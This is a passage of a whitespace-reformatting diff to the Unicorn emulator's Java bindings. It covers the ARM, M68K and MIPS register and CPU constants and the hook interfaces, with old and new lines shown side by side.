public static final int UC_ARM_REG_Q7 = 57;
public static final int UC_ARM_REG_Q8 = 58;
public static final int UC_ARM_REG_Q9 = 59;
public static final int UC_ARM_REG_Q10 = 60;
public static final int UC_ARM_REG_Q11 = 61;
public static final int UC_ARM_REG_Q12 = 62;
public static final int UC_ARM_REG_Q13 = 63;
public static final int UC_ARM_REG_Q14 = 64;
public static final int UC_ARM_REG_Q15 = 65;
public static final int UC_ARM_REG_R0 = 66;
public static final int UC_ARM_REG_R1 = 67;
public static final int UC_ARM_REG_R2 = 68;
public static final int UC_ARM_REG_R3 = 69;
public static final int UC_ARM_REG_R4 = 70;
public static final int UC_ARM_REG_R5 = 71;
public static final int UC_ARM_REG_R6 = 72;
public static final int UC_ARM_REG_R7 = 73;
public static final int UC_ARM_REG_R8 = 74;
public static final int UC_ARM_REG_R9 = 75;
public static final int UC_ARM_REG_R10 = 76;
public static final int UC_ARM_REG_R11 = 77;
public static final int UC_ARM_REG_R12 = 78;
public static final int UC_ARM_REG_S0 = 79;
public static final int UC_ARM_REG_S1 = 80;
public static final int UC_ARM_REG_S2 = 81;
public static final int UC_ARM_REG_S3 = 82;
public static final int UC_ARM_REG_S4 = 83;
public static final int UC_ARM_REG_S5 = 84;
public static final int UC_ARM_REG_S6 = 85;
public static final int UC_ARM_REG_S7 = 86;
public static final int UC_ARM_REG_S8 = 87;
public static final int UC_ARM_REG_S9 = 88;
public static final int UC_ARM_REG_S10 = 89;
public static final int UC_ARM_REG_S11 = 90;
public static final int UC_ARM_REG_S12 = 91;
public static final int UC_ARM_REG_S13 = 92;
public static final int UC_ARM_REG_S14 = 93;
public static final int UC_ARM_REG_S15 = 94;
public static final int UC_ARM_REG_S16 = 95;
public static final int UC_ARM_REG_S17 = 96;
public static final int UC_ARM_REG_S18 = 97;
public static final int UC_ARM_REG_S19 = 98;
public static final int UC_ARM_REG_S20 = 99;
public static final int UC_ARM_REG_S21 = 100;
public static final int UC_ARM_REG_S22 = 101;
public static final int UC_ARM_REG_S23 = 102;
public static final int UC_ARM_REG_S24 = 103;
public static final int UC_ARM_REG_S25 = 104;
public static final int UC_ARM_REG_S26 = 105;
public static final int UC_ARM_REG_S27 = 106;
public static final int UC_ARM_REG_S28 = 107;
public static final int UC_ARM_REG_S29 = 108;
public static final int UC_ARM_REG_S30 = 109;
public static final int UC_ARM_REG_S31 = 110;
public static final int UC_ARM_REG_C1_C0_2 = 111;
public static final int UC_ARM_REG_C13_C0_2 = 112;
public static final int UC_ARM_REG_C13_C0_3 = 113;
public static final int UC_ARM_REG_IPSR = 114;
public static final int UC_ARM_REG_MSP = 115;
public static final int UC_ARM_REG_PSP = 116;
public static final int UC_ARM_REG_CONTROL = 117;
public static final int UC_ARM_REG_IAPSR = 118;
public static final int UC_ARM_REG_EAPSR = 119;
public static final int UC_ARM_REG_XPSR = 120;
public static final int UC_ARM_REG_EPSR = 121;
public static final int UC_ARM_REG_IEPSR = 122;
public static final int UC_ARM_REG_PRIMASK = 123;
public static final int UC_ARM_REG_BASEPRI = 124;
public static final int UC_ARM_REG_BASEPRI_MAX = 125;
public static final int UC_ARM_REG_FAULTMASK = 126;
public static final int UC_ARM_REG_APSR_NZCVQ = 127;
public static final int UC_ARM_REG_APSR_G = 128;
public static final int UC_ARM_REG_APSR_NZCVQG = 129;
public static final int UC_ARM_REG_IAPSR_NZCVQ = 130;
public static final int UC_ARM_REG_IAPSR_G = 131;
public static final int UC_ARM_REG_IAPSR_NZCVQG = 132;
public static final int UC_ARM_REG_EAPSR_NZCVQ = 133;
public static final int UC_ARM_REG_EAPSR_G = 134;
public static final int UC_ARM_REG_EAPSR_NZCVQG = 135;
public static final int UC_ARM_REG_XPSR_NZCVQ = 136;
public static final int UC_ARM_REG_XPSR_G = 137;
public static final int UC_ARM_REG_XPSR_NZCVQG = 138;
public static final int UC_ARM_REG_CP_REG = 139;
public static final int UC_ARM_REG_ENDING = 140;
public static final int UC_ARM_REG_INVALID = 0;
public static final int UC_ARM_REG_APSR = 1;
public static final int UC_ARM_REG_APSR_NZCV = 2;
public static final int UC_ARM_REG_CPSR = 3;
public static final int UC_ARM_REG_FPEXC = 4;
public static final int UC_ARM_REG_FPINST = 5;
public static final int UC_ARM_REG_FPSCR = 6;
public static final int UC_ARM_REG_FPSCR_NZCV = 7;
public static final int UC_ARM_REG_FPSID = 8;
public static final int UC_ARM_REG_ITSTATE = 9;
public static final int UC_ARM_REG_LR = 10;
public static final int UC_ARM_REG_PC = 11;
public static final int UC_ARM_REG_SP = 12;
public static final int UC_ARM_REG_SPSR = 13;
public static final int UC_ARM_REG_D0 = 14;
public static final int UC_ARM_REG_D1 = 15;
public static final int UC_ARM_REG_D2 = 16;
public static final int UC_ARM_REG_D3 = 17;
public static final int UC_ARM_REG_D4 = 18;
public static final int UC_ARM_REG_D5 = 19;
public static final int UC_ARM_REG_D6 = 20;
public static final int UC_ARM_REG_D7 = 21;
public static final int UC_ARM_REG_D8 = 22;
public static final int UC_ARM_REG_D9 = 23;
public static final int UC_ARM_REG_D10 = 24;
public static final int UC_ARM_REG_D11 = 25;
public static final int UC_ARM_REG_D12 = 26;
public static final int UC_ARM_REG_D13 = 27;
public static final int UC_ARM_REG_D14 = 28;
public static final int UC_ARM_REG_D15 = 29;
public static final int UC_ARM_REG_D16 = 30;
public static final int UC_ARM_REG_D17 = 31;
public static final int UC_ARM_REG_D18 = 32;
public static final int UC_ARM_REG_D19 = 33;
public static final int UC_ARM_REG_D20 = 34;
public static final int UC_ARM_REG_D21 = 35;
public static final int UC_ARM_REG_D22 = 36;
public static final int UC_ARM_REG_D23 = 37;
public static final int UC_ARM_REG_D24 = 38;
public static final int UC_ARM_REG_D25 = 39;
public static final int UC_ARM_REG_D26 = 40;
public static final int UC_ARM_REG_D27 = 41;
public static final int UC_ARM_REG_D28 = 42;
public static final int UC_ARM_REG_D29 = 43;
public static final int UC_ARM_REG_D30 = 44;
public static final int UC_ARM_REG_D31 = 45;
public static final int UC_ARM_REG_FPINST2 = 46;
public static final int UC_ARM_REG_MVFR0 = 47;
public static final int UC_ARM_REG_MVFR1 = 48;
public static final int UC_ARM_REG_MVFR2 = 49;
public static final int UC_ARM_REG_Q0 = 50;
public static final int UC_ARM_REG_Q1 = 51;
public static final int UC_ARM_REG_Q2 = 52;
public static final int UC_ARM_REG_Q3 = 53;
public static final int UC_ARM_REG_Q4 = 54;
public static final int UC_ARM_REG_Q5 = 55;
public static final int UC_ARM_REG_Q6 = 56;
public static final int UC_ARM_REG_Q7 = 57;
public static final int UC_ARM_REG_Q8 = 58;
public static final int UC_ARM_REG_Q9 = 59;
public static final int UC_ARM_REG_Q10 = 60;
public static final int UC_ARM_REG_Q11 = 61;
public static final int UC_ARM_REG_Q12 = 62;
public static final int UC_ARM_REG_Q13 = 63;
public static final int UC_ARM_REG_Q14 = 64;
public static final int UC_ARM_REG_Q15 = 65;
public static final int UC_ARM_REG_R0 = 66;
public static final int UC_ARM_REG_R1 = 67;
public static final int UC_ARM_REG_R2 = 68;
public static final int UC_ARM_REG_R3 = 69;
public static final int UC_ARM_REG_R4 = 70;
public static final int UC_ARM_REG_R5 = 71;
public static final int UC_ARM_REG_R6 = 72;
public static final int UC_ARM_REG_R7 = 73;
public static final int UC_ARM_REG_R8 = 74;
public static final int UC_ARM_REG_R9 = 75;
public static final int UC_ARM_REG_R10 = 76;
public static final int UC_ARM_REG_R11 = 77;
public static final int UC_ARM_REG_R12 = 78;
public static final int UC_ARM_REG_S0 = 79;
public static final int UC_ARM_REG_S1 = 80;
public static final int UC_ARM_REG_S2 = 81;
public static final int UC_ARM_REG_S3 = 82;
public static final int UC_ARM_REG_S4 = 83;
public static final int UC_ARM_REG_S5 = 84;
public static final int UC_ARM_REG_S6 = 85;
public static final int UC_ARM_REG_S7 = 86;
public static final int UC_ARM_REG_S8 = 87;
public static final int UC_ARM_REG_S9 = 88;
public static final int UC_ARM_REG_S10 = 89;
public static final int UC_ARM_REG_S11 = 90;
public static final int UC_ARM_REG_S12 = 91;
public static final int UC_ARM_REG_S13 = 92;
public static final int UC_ARM_REG_S14 = 93;
public static final int UC_ARM_REG_S15 = 94;
public static final int UC_ARM_REG_S16 = 95;
public static final int UC_ARM_REG_S17 = 96;
public static final int UC_ARM_REG_S18 = 97;
public static final int UC_ARM_REG_S19 = 98;
public static final int UC_ARM_REG_S20 = 99;
public static final int UC_ARM_REG_S21 = 100;
public static final int UC_ARM_REG_S22 = 101;
public static final int UC_ARM_REG_S23 = 102;
public static final int UC_ARM_REG_S24 = 103;
public static final int UC_ARM_REG_S25 = 104;
public static final int UC_ARM_REG_S26 = 105;
public static final int UC_ARM_REG_S27 = 106;
public static final int UC_ARM_REG_S28 = 107;
public static final int UC_ARM_REG_S29 = 108;
public static final int UC_ARM_REG_S30 = 109;
public static final int UC_ARM_REG_S31 = 110;
public static final int UC_ARM_REG_C1_C0_2 = 111;
public static final int UC_ARM_REG_C13_C0_2 = 112;
public static final int UC_ARM_REG_C13_C0_3 = 113;
public static final int UC_ARM_REG_IPSR = 114;
public static final int UC_ARM_REG_MSP = 115;
public static final int UC_ARM_REG_PSP = 116;
public static final int UC_ARM_REG_CONTROL = 117;
public static final int UC_ARM_REG_IAPSR = 118;
public static final int UC_ARM_REG_EAPSR = 119;
public static final int UC_ARM_REG_XPSR = 120;
public static final int UC_ARM_REG_EPSR = 121;
public static final int UC_ARM_REG_IEPSR = 122;
public static final int UC_ARM_REG_PRIMASK = 123;
public static final int UC_ARM_REG_BASEPRI = 124;
public static final int UC_ARM_REG_BASEPRI_MAX = 125;
public static final int UC_ARM_REG_FAULTMASK = 126;
public static final int UC_ARM_REG_APSR_NZCVQ = 127;
public static final int UC_ARM_REG_APSR_G = 128;
public static final int UC_ARM_REG_APSR_NZCVQG = 129;
public static final int UC_ARM_REG_IAPSR_NZCVQ = 130;
public static final int UC_ARM_REG_IAPSR_G = 131;
public static final int UC_ARM_REG_IAPSR_NZCVQG = 132;
public static final int UC_ARM_REG_EAPSR_NZCVQ = 133;
public static final int UC_ARM_REG_EAPSR_G = 134;
public static final int UC_ARM_REG_EAPSR_NZCVQG = 135;
public static final int UC_ARM_REG_XPSR_NZCVQ = 136;
public static final int UC_ARM_REG_XPSR_G = 137;
public static final int UC_ARM_REG_XPSR_NZCVQG = 138;
public static final int UC_ARM_REG_CP_REG = 139;
public static final int UC_ARM_REG_ENDING = 140;
// alias registers
public static final int UC_ARM_REG_R13 = 12;
public static final int UC_ARM_REG_R14 = 10;
public static final int UC_ARM_REG_R15 = 11;
public static final int UC_ARM_REG_SB = 75;
public static final int UC_ARM_REG_SL = 76;
public static final int UC_ARM_REG_FP = 77;
public static final int UC_ARM_REG_IP = 78;
// alias registers
public static final int UC_ARM_REG_R13 = 12;
public static final int UC_ARM_REG_R14 = 10;
public static final int UC_ARM_REG_R15 = 11;
public static final int UC_ARM_REG_SB = 75;
public static final int UC_ARM_REG_SL = 76;
public static final int UC_ARM_REG_FP = 77;
public static final int UC_ARM_REG_IP = 78;
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface BlockHook extends Hook {
public void hook(Unicorn u, long address, int size, Object user);
public void hook(Unicorn u, long address, int size, Object user);
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface CodeHook extends Hook {
public void hook(Unicorn u, long address, int size, Object user);
public void hook(Unicorn u, long address, int size, Object user);
}

View File

@@ -22,8 +22,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface EventMemHook extends Hook {
public boolean hook(Unicorn u, long address, int size, long value, Object user);
public boolean hook(Unicorn u, long address, int size, long value,
Object user);
}

View File

@@ -26,4 +26,5 @@ package unicorn;
*/
public interface Hook {
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface InHook extends Hook {
public int hook(Unicorn u, int port, int size, Object user);
public int hook(Unicorn u, int port, int size, Object user);
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface InterruptHook extends Hook {
public void hook(Unicorn u, int intno, Object user);
public void hook(Unicorn u, int intno, Object user);
}

View File

@@ -4,40 +4,40 @@ package unicorn;
public interface M68kConst {
// M68K CPU
// M68K CPU
public static final int UC_CPU_M68K_M5206 = 0;
public static final int UC_CPU_M68K_M68000 = 1;
public static final int UC_CPU_M68K_M68020 = 2;
public static final int UC_CPU_M68K_M68030 = 3;
public static final int UC_CPU_M68K_M68040 = 4;
public static final int UC_CPU_M68K_M68060 = 5;
public static final int UC_CPU_M68K_M5208 = 6;
public static final int UC_CPU_M68K_CFV4E = 7;
public static final int UC_CPU_M68K_ANY = 8;
public static final int UC_CPU_M68K_ENDING = 9;
public static final int UC_CPU_M68K_M5206 = 0;
public static final int UC_CPU_M68K_M68000 = 1;
public static final int UC_CPU_M68K_M68020 = 2;
public static final int UC_CPU_M68K_M68030 = 3;
public static final int UC_CPU_M68K_M68040 = 4;
public static final int UC_CPU_M68K_M68060 = 5;
public static final int UC_CPU_M68K_M5208 = 6;
public static final int UC_CPU_M68K_CFV4E = 7;
public static final int UC_CPU_M68K_ANY = 8;
public static final int UC_CPU_M68K_ENDING = 9;
// M68K registers
// M68K registers
public static final int UC_M68K_REG_INVALID = 0;
public static final int UC_M68K_REG_A0 = 1;
public static final int UC_M68K_REG_A1 = 2;
public static final int UC_M68K_REG_A2 = 3;
public static final int UC_M68K_REG_A3 = 4;
public static final int UC_M68K_REG_A4 = 5;
public static final int UC_M68K_REG_A5 = 6;
public static final int UC_M68K_REG_A6 = 7;
public static final int UC_M68K_REG_A7 = 8;
public static final int UC_M68K_REG_D0 = 9;
public static final int UC_M68K_REG_D1 = 10;
public static final int UC_M68K_REG_D2 = 11;
public static final int UC_M68K_REG_D3 = 12;
public static final int UC_M68K_REG_D4 = 13;
public static final int UC_M68K_REG_D5 = 14;
public static final int UC_M68K_REG_D6 = 15;
public static final int UC_M68K_REG_D7 = 16;
public static final int UC_M68K_REG_SR = 17;
public static final int UC_M68K_REG_PC = 18;
public static final int UC_M68K_REG_ENDING = 19;
public static final int UC_M68K_REG_INVALID = 0;
public static final int UC_M68K_REG_A0 = 1;
public static final int UC_M68K_REG_A1 = 2;
public static final int UC_M68K_REG_A2 = 3;
public static final int UC_M68K_REG_A3 = 4;
public static final int UC_M68K_REG_A4 = 5;
public static final int UC_M68K_REG_A5 = 6;
public static final int UC_M68K_REG_A6 = 7;
public static final int UC_M68K_REG_A7 = 8;
public static final int UC_M68K_REG_D0 = 9;
public static final int UC_M68K_REG_D1 = 10;
public static final int UC_M68K_REG_D2 = 11;
public static final int UC_M68K_REG_D3 = 12;
public static final int UC_M68K_REG_D4 = 13;
public static final int UC_M68K_REG_D5 = 14;
public static final int UC_M68K_REG_D6 = 15;
public static final int UC_M68K_REG_D7 = 16;
public static final int UC_M68K_REG_SR = 17;
public static final int UC_M68K_REG_PC = 18;
public static final int UC_M68K_REG_ENDING = 19;
}

View File

@@ -21,7 +21,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface MemHook extends ReadHook,WriteHook {
public interface MemHook extends ReadHook, WriteHook {
}

View File

@@ -22,16 +22,13 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public class MemRegion {
public long begin;
public long end;
public int perms;
public long begin;
public long end;
public int perms;
public MemRegion(long begin, long end, int perms) {
this.begin = begin;
this.end = end;
this.perms = perms;
}
public MemRegion(long begin, long end, int perms) {
this.begin = begin;
this.end = end;
this.perms = perms;
}
}

View File

@@ -4,238 +4,238 @@ package unicorn;
public interface MipsConst {
// MIPS32 CPUS
// MIPS32 CPUS
public static final int UC_CPU_MIPS32_4KC = 0;
public static final int UC_CPU_MIPS32_4KM = 1;
public static final int UC_CPU_MIPS32_4KECR1 = 2;
public static final int UC_CPU_MIPS32_4KEMR1 = 3;
public static final int UC_CPU_MIPS32_4KEC = 4;
public static final int UC_CPU_MIPS32_4KEM = 5;
public static final int UC_CPU_MIPS32_24KC = 6;
public static final int UC_CPU_MIPS32_24KEC = 7;
public static final int UC_CPU_MIPS32_24KF = 8;
public static final int UC_CPU_MIPS32_34KF = 9;
public static final int UC_CPU_MIPS32_74KF = 10;
public static final int UC_CPU_MIPS32_M14K = 11;
public static final int UC_CPU_MIPS32_M14KC = 12;
public static final int UC_CPU_MIPS32_P5600 = 13;
public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14;
public static final int UC_CPU_MIPS32_I7200 = 15;
public static final int UC_CPU_MIPS32_ENDING = 16;
public static final int UC_CPU_MIPS32_4KC = 0;
public static final int UC_CPU_MIPS32_4KM = 1;
public static final int UC_CPU_MIPS32_4KECR1 = 2;
public static final int UC_CPU_MIPS32_4KEMR1 = 3;
public static final int UC_CPU_MIPS32_4KEC = 4;
public static final int UC_CPU_MIPS32_4KEM = 5;
public static final int UC_CPU_MIPS32_24KC = 6;
public static final int UC_CPU_MIPS32_24KEC = 7;
public static final int UC_CPU_MIPS32_24KF = 8;
public static final int UC_CPU_MIPS32_34KF = 9;
public static final int UC_CPU_MIPS32_74KF = 10;
public static final int UC_CPU_MIPS32_M14K = 11;
public static final int UC_CPU_MIPS32_M14KC = 12;
public static final int UC_CPU_MIPS32_P5600 = 13;
public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14;
public static final int UC_CPU_MIPS32_I7200 = 15;
public static final int UC_CPU_MIPS32_ENDING = 16;
// MIPS64 CPUS
// MIPS64 CPUS
public static final int UC_CPU_MIPS64_R4000 = 0;
public static final int UC_CPU_MIPS64_VR5432 = 1;
public static final int UC_CPU_MIPS64_5KC = 2;
public static final int UC_CPU_MIPS64_5KF = 3;
public static final int UC_CPU_MIPS64_20KC = 4;
public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5;
public static final int UC_CPU_MIPS64_5KEC = 6;
public static final int UC_CPU_MIPS64_5KEF = 7;
public static final int UC_CPU_MIPS64_I6400 = 8;
public static final int UC_CPU_MIPS64_I6500 = 9;
public static final int UC_CPU_MIPS64_LOONGSON_2E = 10;
public static final int UC_CPU_MIPS64_LOONGSON_2F = 11;
public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12;
public static final int UC_CPU_MIPS64_ENDING = 13;
public static final int UC_CPU_MIPS64_R4000 = 0;
public static final int UC_CPU_MIPS64_VR5432 = 1;
public static final int UC_CPU_MIPS64_5KC = 2;
public static final int UC_CPU_MIPS64_5KF = 3;
public static final int UC_CPU_MIPS64_20KC = 4;
public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5;
public static final int UC_CPU_MIPS64_5KEC = 6;
public static final int UC_CPU_MIPS64_5KEF = 7;
public static final int UC_CPU_MIPS64_I6400 = 8;
public static final int UC_CPU_MIPS64_I6500 = 9;
public static final int UC_CPU_MIPS64_LOONGSON_2E = 10;
public static final int UC_CPU_MIPS64_LOONGSON_2F = 11;
public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12;
public static final int UC_CPU_MIPS64_ENDING = 13;
// MIPS registers
// MIPS registers
public static final int UC_MIPS_REG_INVALID = 0;
public static final int UC_MIPS_REG_INVALID = 0;
// General purpose registers
public static final int UC_MIPS_REG_PC = 1;
public static final int UC_MIPS_REG_0 = 2;
public static final int UC_MIPS_REG_1 = 3;
public static final int UC_MIPS_REG_2 = 4;
public static final int UC_MIPS_REG_3 = 5;
public static final int UC_MIPS_REG_4 = 6;
public static final int UC_MIPS_REG_5 = 7;
public static final int UC_MIPS_REG_6 = 8;
public static final int UC_MIPS_REG_7 = 9;
public static final int UC_MIPS_REG_8 = 10;
public static final int UC_MIPS_REG_9 = 11;
public static final int UC_MIPS_REG_10 = 12;
public static final int UC_MIPS_REG_11 = 13;
public static final int UC_MIPS_REG_12 = 14;
public static final int UC_MIPS_REG_13 = 15;
public static final int UC_MIPS_REG_14 = 16;
public static final int UC_MIPS_REG_15 = 17;
public static final int UC_MIPS_REG_16 = 18;
public static final int UC_MIPS_REG_17 = 19;
public static final int UC_MIPS_REG_18 = 20;
public static final int UC_MIPS_REG_19 = 21;
public static final int UC_MIPS_REG_20 = 22;
public static final int UC_MIPS_REG_21 = 23;
public static final int UC_MIPS_REG_22 = 24;
public static final int UC_MIPS_REG_23 = 25;
public static final int UC_MIPS_REG_24 = 26;
public static final int UC_MIPS_REG_25 = 27;
public static final int UC_MIPS_REG_26 = 28;
public static final int UC_MIPS_REG_27 = 29;
public static final int UC_MIPS_REG_28 = 30;
public static final int UC_MIPS_REG_29 = 31;
public static final int UC_MIPS_REG_30 = 32;
public static final int UC_MIPS_REG_31 = 33;
// General purpose registers
public static final int UC_MIPS_REG_PC = 1;
public static final int UC_MIPS_REG_0 = 2;
public static final int UC_MIPS_REG_1 = 3;
public static final int UC_MIPS_REG_2 = 4;
public static final int UC_MIPS_REG_3 = 5;
public static final int UC_MIPS_REG_4 = 6;
public static final int UC_MIPS_REG_5 = 7;
public static final int UC_MIPS_REG_6 = 8;
public static final int UC_MIPS_REG_7 = 9;
public static final int UC_MIPS_REG_8 = 10;
public static final int UC_MIPS_REG_9 = 11;
public static final int UC_MIPS_REG_10 = 12;
public static final int UC_MIPS_REG_11 = 13;
public static final int UC_MIPS_REG_12 = 14;
public static final int UC_MIPS_REG_13 = 15;
public static final int UC_MIPS_REG_14 = 16;
public static final int UC_MIPS_REG_15 = 17;
public static final int UC_MIPS_REG_16 = 18;
public static final int UC_MIPS_REG_17 = 19;
public static final int UC_MIPS_REG_18 = 20;
public static final int UC_MIPS_REG_19 = 21;
public static final int UC_MIPS_REG_20 = 22;
public static final int UC_MIPS_REG_21 = 23;
public static final int UC_MIPS_REG_22 = 24;
public static final int UC_MIPS_REG_23 = 25;
public static final int UC_MIPS_REG_24 = 26;
public static final int UC_MIPS_REG_25 = 27;
public static final int UC_MIPS_REG_26 = 28;
public static final int UC_MIPS_REG_27 = 29;
public static final int UC_MIPS_REG_28 = 30;
public static final int UC_MIPS_REG_29 = 31;
public static final int UC_MIPS_REG_30 = 32;
public static final int UC_MIPS_REG_31 = 33;
// DSP registers
public static final int UC_MIPS_REG_DSPCCOND = 34;
public static final int UC_MIPS_REG_DSPCARRY = 35;
public static final int UC_MIPS_REG_DSPEFI = 36;
public static final int UC_MIPS_REG_DSPOUTFLAG = 37;
public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38;
public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39;
public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40;
public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41;
public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42;
public static final int UC_MIPS_REG_DSPPOS = 43;
public static final int UC_MIPS_REG_DSPSCOUNT = 44;
// DSP registers
public static final int UC_MIPS_REG_DSPCCOND = 34;
public static final int UC_MIPS_REG_DSPCARRY = 35;
public static final int UC_MIPS_REG_DSPEFI = 36;
public static final int UC_MIPS_REG_DSPOUTFLAG = 37;
public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38;
public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39;
public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40;
public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41;
public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42;
public static final int UC_MIPS_REG_DSPPOS = 43;
public static final int UC_MIPS_REG_DSPSCOUNT = 44;
// ACC registers
public static final int UC_MIPS_REG_AC0 = 45;
public static final int UC_MIPS_REG_AC1 = 46;
public static final int UC_MIPS_REG_AC2 = 47;
public static final int UC_MIPS_REG_AC3 = 48;
// ACC registers
public static final int UC_MIPS_REG_AC0 = 45;
public static final int UC_MIPS_REG_AC1 = 46;
public static final int UC_MIPS_REG_AC2 = 47;
public static final int UC_MIPS_REG_AC3 = 48;
// COP registers
public static final int UC_MIPS_REG_CC0 = 49;
public static final int UC_MIPS_REG_CC1 = 50;
public static final int UC_MIPS_REG_CC2 = 51;
public static final int UC_MIPS_REG_CC3 = 52;
public static final int UC_MIPS_REG_CC4 = 53;
public static final int UC_MIPS_REG_CC5 = 54;
public static final int UC_MIPS_REG_CC6 = 55;
public static final int UC_MIPS_REG_CC7 = 56;
// COP registers
public static final int UC_MIPS_REG_CC0 = 49;
public static final int UC_MIPS_REG_CC1 = 50;
public static final int UC_MIPS_REG_CC2 = 51;
public static final int UC_MIPS_REG_CC3 = 52;
public static final int UC_MIPS_REG_CC4 = 53;
public static final int UC_MIPS_REG_CC5 = 54;
public static final int UC_MIPS_REG_CC6 = 55;
public static final int UC_MIPS_REG_CC7 = 56;
// FPU registers
public static final int UC_MIPS_REG_F0 = 57;
public static final int UC_MIPS_REG_F1 = 58;
public static final int UC_MIPS_REG_F2 = 59;
public static final int UC_MIPS_REG_F3 = 60;
public static final int UC_MIPS_REG_F4 = 61;
public static final int UC_MIPS_REG_F5 = 62;
public static final int UC_MIPS_REG_F6 = 63;
public static final int UC_MIPS_REG_F7 = 64;
public static final int UC_MIPS_REG_F8 = 65;
public static final int UC_MIPS_REG_F9 = 66;
public static final int UC_MIPS_REG_F10 = 67;
public static final int UC_MIPS_REG_F11 = 68;
public static final int UC_MIPS_REG_F12 = 69;
public static final int UC_MIPS_REG_F13 = 70;
public static final int UC_MIPS_REG_F14 = 71;
public static final int UC_MIPS_REG_F15 = 72;
public static final int UC_MIPS_REG_F16 = 73;
public static final int UC_MIPS_REG_F17 = 74;
public static final int UC_MIPS_REG_F18 = 75;
public static final int UC_MIPS_REG_F19 = 76;
public static final int UC_MIPS_REG_F20 = 77;
public static final int UC_MIPS_REG_F21 = 78;
public static final int UC_MIPS_REG_F22 = 79;
public static final int UC_MIPS_REG_F23 = 80;
public static final int UC_MIPS_REG_F24 = 81;
public static final int UC_MIPS_REG_F25 = 82;
public static final int UC_MIPS_REG_F26 = 83;
public static final int UC_MIPS_REG_F27 = 84;
public static final int UC_MIPS_REG_F28 = 85;
public static final int UC_MIPS_REG_F29 = 86;
public static final int UC_MIPS_REG_F30 = 87;
public static final int UC_MIPS_REG_F31 = 88;
public static final int UC_MIPS_REG_FCC0 = 89;
public static final int UC_MIPS_REG_FCC1 = 90;
public static final int UC_MIPS_REG_FCC2 = 91;
public static final int UC_MIPS_REG_FCC3 = 92;
public static final int UC_MIPS_REG_FCC4 = 93;
public static final int UC_MIPS_REG_FCC5 = 94;
public static final int UC_MIPS_REG_FCC6 = 95;
public static final int UC_MIPS_REG_FCC7 = 96;
// FPU registers
public static final int UC_MIPS_REG_F0 = 57;
public static final int UC_MIPS_REG_F1 = 58;
public static final int UC_MIPS_REG_F2 = 59;
public static final int UC_MIPS_REG_F3 = 60;
public static final int UC_MIPS_REG_F4 = 61;
public static final int UC_MIPS_REG_F5 = 62;
public static final int UC_MIPS_REG_F6 = 63;
public static final int UC_MIPS_REG_F7 = 64;
public static final int UC_MIPS_REG_F8 = 65;
public static final int UC_MIPS_REG_F9 = 66;
public static final int UC_MIPS_REG_F10 = 67;
public static final int UC_MIPS_REG_F11 = 68;
public static final int UC_MIPS_REG_F12 = 69;
public static final int UC_MIPS_REG_F13 = 70;
public static final int UC_MIPS_REG_F14 = 71;
public static final int UC_MIPS_REG_F15 = 72;
public static final int UC_MIPS_REG_F16 = 73;
public static final int UC_MIPS_REG_F17 = 74;
public static final int UC_MIPS_REG_F18 = 75;
public static final int UC_MIPS_REG_F19 = 76;
public static final int UC_MIPS_REG_F20 = 77;
public static final int UC_MIPS_REG_F21 = 78;
public static final int UC_MIPS_REG_F22 = 79;
public static final int UC_MIPS_REG_F23 = 80;
public static final int UC_MIPS_REG_F24 = 81;
public static final int UC_MIPS_REG_F25 = 82;
public static final int UC_MIPS_REG_F26 = 83;
public static final int UC_MIPS_REG_F27 = 84;
public static final int UC_MIPS_REG_F28 = 85;
public static final int UC_MIPS_REG_F29 = 86;
public static final int UC_MIPS_REG_F30 = 87;
public static final int UC_MIPS_REG_F31 = 88;
public static final int UC_MIPS_REG_FCC0 = 89;
public static final int UC_MIPS_REG_FCC1 = 90;
public static final int UC_MIPS_REG_FCC2 = 91;
public static final int UC_MIPS_REG_FCC3 = 92;
public static final int UC_MIPS_REG_FCC4 = 93;
public static final int UC_MIPS_REG_FCC5 = 94;
public static final int UC_MIPS_REG_FCC6 = 95;
public static final int UC_MIPS_REG_FCC7 = 96;
// AFPR128
public static final int UC_MIPS_REG_W0 = 97;
public static final int UC_MIPS_REG_W1 = 98;
public static final int UC_MIPS_REG_W2 = 99;
public static final int UC_MIPS_REG_W3 = 100;
public static final int UC_MIPS_REG_W4 = 101;
public static final int UC_MIPS_REG_W5 = 102;
public static final int UC_MIPS_REG_W6 = 103;
public static final int UC_MIPS_REG_W7 = 104;
public static final int UC_MIPS_REG_W8 = 105;
public static final int UC_MIPS_REG_W9 = 106;
public static final int UC_MIPS_REG_W10 = 107;
public static final int UC_MIPS_REG_W11 = 108;
public static final int UC_MIPS_REG_W12 = 109;
public static final int UC_MIPS_REG_W13 = 110;
public static final int UC_MIPS_REG_W14 = 111;
public static final int UC_MIPS_REG_W15 = 112;
public static final int UC_MIPS_REG_W16 = 113;
public static final int UC_MIPS_REG_W17 = 114;
public static final int UC_MIPS_REG_W18 = 115;
public static final int UC_MIPS_REG_W19 = 116;
public static final int UC_MIPS_REG_W20 = 117;
public static final int UC_MIPS_REG_W21 = 118;
